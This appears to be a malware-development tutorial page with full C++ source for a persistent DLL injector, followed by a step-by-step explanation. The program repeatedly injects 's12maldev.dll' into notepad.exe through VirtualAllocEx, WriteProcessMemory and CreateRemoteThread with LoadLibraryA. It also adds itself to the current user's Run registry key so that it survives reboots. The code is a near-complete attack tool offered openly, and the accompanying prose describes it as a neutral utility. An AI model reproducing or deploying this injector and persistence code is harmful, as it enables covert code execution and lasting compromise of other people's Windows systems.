Persistent DLL Injection

Persistent DLL Injection

```
C++ Code
#include <windows.h>
#include <iostream>
#include <tlhelp32.h>
#include "validations.h"

using namespace std;

// Function to get the Process ID (PID) by its name.
int getPIDbyProcName(const char* procName) {
    int pid = 0;
    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); // Take a snapshot of all running processes
    PROCESSENTRY32 pe32;
    pe32.dwSize = sizeof(PROCESSENTRY32);

    if (Process32First(hSnap, &pe32) != FALSE) {
        while (pid == 0 && Process32Next(hSnap, &pe32) != FALSE) {
            if (strcmp(pe32.szExeFile, procName) == 0) { // Check if the process name matches the target name
                pid = pe32.th32ProcessID; // Set the PID if a match is found
            }
        }
    }
    CloseHandle(hSnap); // Close the handle to the snapshot
    return pid; // Return the PID, or 0 if not found
}

// Function to inject a DLL into a target process.
bool DLLinjector(DWORD pid, char* dllPath){
    typedef LPVOID memory_buffer;

    HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); // Open the target process with all access rights
    if (hProc == NULL) {
        cout << "OpenProcess() failed: " << GetLastError() << endl;
        return false;
    }

    HMODULE hKernel32 = GetModuleHandle("Kernel32"); // Get the handle to Kernel32.dll
    void *lb = GetProcAddress(hKernel32, "LoadLibraryA"); // Get the address of LoadLibraryA function
    memory_buffer allocMem = VirtualAllocEx(hProc, NULL, strlen(dllPath), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); // Allocate memory in the target process
    if (allocMem == NULL) {
        cout << "VirtualAllocEx() failed: " << GetLastError() << endl;
        return false;
    }
    WriteProcessMemory(hProc, allocMem, dllPath, strlen(dllPath), NULL); // Write the DLL path to the allocated memory
    HANDLE rThread = CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)lb, allocMem, 0, NULL); // Create a remote thread in the target process to load the DLL
    if (rThread == NULL) {
        cout << "CreateRemoteThread() failed: " << GetLastError() << endl;
        return false;
    }
    CloseHandle(hProc); // Close the handle to the target process
    FreeLibrary(hKernel32); // Free the handle to Kernel32.dll
    VirtualFreeEx(hProc, allocMem, strlen(dllPath), MEM_RELEASE); // Free the allocated memory in the target process
    return true;
}

// Function to add the executable to the Windows Run registry key.
int runkeys(const char* exe) {
    HKEY hkey = NULL;
    LONG res = RegOpenKeyEx(HKEY_CURRENT_USER, (LPCSTR)"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_WRITE, &hkey); // Open the Windows Run registry key
    if (res == ERROR_SUCCESS) {
        RegSetValueEx(hkey, (LPCSTR)"s12maldev", 0, REG_SZ, (unsigned char*)exe, strlen(exe)); // Set the value with the executable path
        RegCloseKey(hkey); // Close the registry key handle
    }
    return 0;
}

int main(int argc, char *argv[]){
    const char* path = "C:\\s12maldev.dll"; // DLL path
    const char* process = "notepad.exe"; // Target process name
    cout << "Path: " << path << "\n" << "Process: " << process << endl;

    // Loop to continuously monitor the target process
    while(true){
        if(IsProcessRunning(process)){ // Check if the target process is running
            int pid = getPIDbyProcName(process); // Get the PID of the target process
            if(IsDLLLoaded(pid, L"s12maldev.dll")){ // Check if the DLL is already loaded in the target process
                OutputDebugStringA("DLL already loaded"); // Output a debug message indicating the DLL is already loaded
            }
            else{
                DLLinjector(pid, path); // Inject the DLL into the target process
            }
            // Get the path of the current executable and add it to the Windows Run registry key
            char buffer[MAX_PATH];
            GetModuleFileName(NULL, buffer, MAX_PATH);
            std::string fullPath(buffer);

            std::size_t found = fullPath.find_last_of("\\");
            std::string exeDirectory = fullPath.substr(0, found);
            std::string exeName = fullPath.substr(found + 1);

            std::string fullPathToExe = exeDirectory + "\\" + exeName;
            OutputDebugStringA(fullPathToExe.c_str());
            runkeys(fullPathToExe.c_str());
        }
        Sleep(1000); // Wait for 1 second before checking the process again
    }

    return 0;
}
```

This code is a Windows program that performs the following tasks:

1. **DLL Injection**: It injects a custom DLL (`s12maldev.dll`) into a target process (in this case, "notepad.exe").
2. **Registry Key Modification**: It adds the executable of the program to the Windows Run registry key, ensuring that the program runs automatically when Windows starts.
3. **Monitoring Loop**: It continuously monitors whether the target process is running and whether the DLL is already injected. If not, it performs the DLL injection.

Now, let's break down the code step by step:

- **Header Includes**:
  - `<windows.h>`: Provides access to Windows API functions and data types.
  - `<iostream>`: Provides input and output stream functionality.
  - `<tlhelp32.h>`: Includes functions and data structures for working with processes and snapshots.
  - `"validations.h"`: Presumably contains custom validation functions (not included in the provided code).

- **`getPIDbyProcName` Function**:
  - It finds the Process ID (PID) of a process by its name.
  - It uses the ToolHelp32 API to iterate through running processes and match the target process name.

- **`DLLinjector` Function**:
  - It injects a DLL into a specified process.
  - It opens the target process with full access rights.
  - It allocates memory in the target process to hold the DLL path.
  - It writes the DLL path to the allocated memory.
  - It creates a remote thread in the target process to execute `LoadLibraryA` and load the DLL.
  - Finally, it releases allocated resources.

- **`runkeys` Function**:
  - It adds the executable's path to the Windows Run registry key to ensure the program starts with Windows.
  - It uses the Windows Registry API to achieve this.

- **`main` Function**:
  - It sets the DLL path (`path`) and the target process name (`process`).
  - It continuously monitors the target process:
    - Checks if the target process is running using `IsProcessRunning`.
    - If the process is running:
      - Obtains the process ID (`pid`) using `getPIDbyProcName`.
      - Checks if the DLL is already loaded in the target process using `IsDLLLoaded`.
      - If the DLL is not loaded, it injects the DLL using `DLLinjector`.
      - It obtains the path to the current executable and adds it to the Windows Run registry key using `runkeys`.
  - It sleeps for 1 second between each monitoring iteration using `Sleep(1000)`.

In summary, this code is a utility that can be used for injecting a custom DLL into a target process and ensuring that a program starts automatically with Windows by adding it to the Run registry key. It continuously monitors the target process, performing the injection when needed. The exact behavior and purpose of the custom DLL (`s12maldev.dll`) and other custom validation functions from `"validations.h"` are not provided in this code snippet.

validations.h

```
C++ Code
#include <iostream>

using namespace std;

// Function to check if a process with the specified name is running.
bool IsProcessRunning(const string& processName) {
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); // Take a snapshot of all running processes
    if (hSnapshot == INVALID_HANDLE_VALUE)
        return false;

    PROCESSENTRY32 processEntry;
    processEntry.dwSize = sizeof(PROCESSENTRY32);

    if (Process32First(hSnapshot, &processEntry)) { // Start iterating through the processes in the snapshot
        do {
            if (processName.compare(processEntry.szExeFile) == 0) { // Compare the process name with the target name
                CloseHandle(hSnapshot); // Close the handle to the snapshot
                return true; // Return true if the process name matches the target name
            }
        } while (Process32Next(hSnapshot, &processEntry)); // Continue iterating through the processes
    }

    CloseHandle(hSnapshot); // Close the handle to the snapshot if the process is not found
    return false; // Return false if the process is not found
}

// Function to check if a DLL with the specified name is loaded in a given process.
bool IsDLLLoaded(DWORD processId, const std::wstring& dllName) {
    HANDLE hModuleSnap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE | TH32CS_SNAPMODULE32, processId); // Take a snapshot of the modules loaded in the target process
    if (hModuleSnap == INVALID_HANDLE_VALUE) {
        return false; // Return false if the snapshot creation fails
    }

    MODULEENTRY32W moduleEntry;
    moduleEntry.dwSize = sizeof(MODULEENTRY32W);

    bool dllFound = false;
    if (Module32FirstW(hModuleSnap, &moduleEntry)) { // Start iterating through the modules in the snapshot
        do {
            if (dllName.compare(moduleEntry.szModule) == 0) { // Compare the DLL name with the target name
                dllFound = true; // Set the flag to true if the DLL name matches the target name
                break; // Exit the loop as we have found the DLL
            }
        } while (Module32NextW(hModuleSnap, &moduleEntry)); // Continue iterating through the modules
    }
    CloseHandle(hModuleSnap); // Close the handle to the snapshot
    return dllFound; // Return true if the DLL is found, otherwise, return false
}
```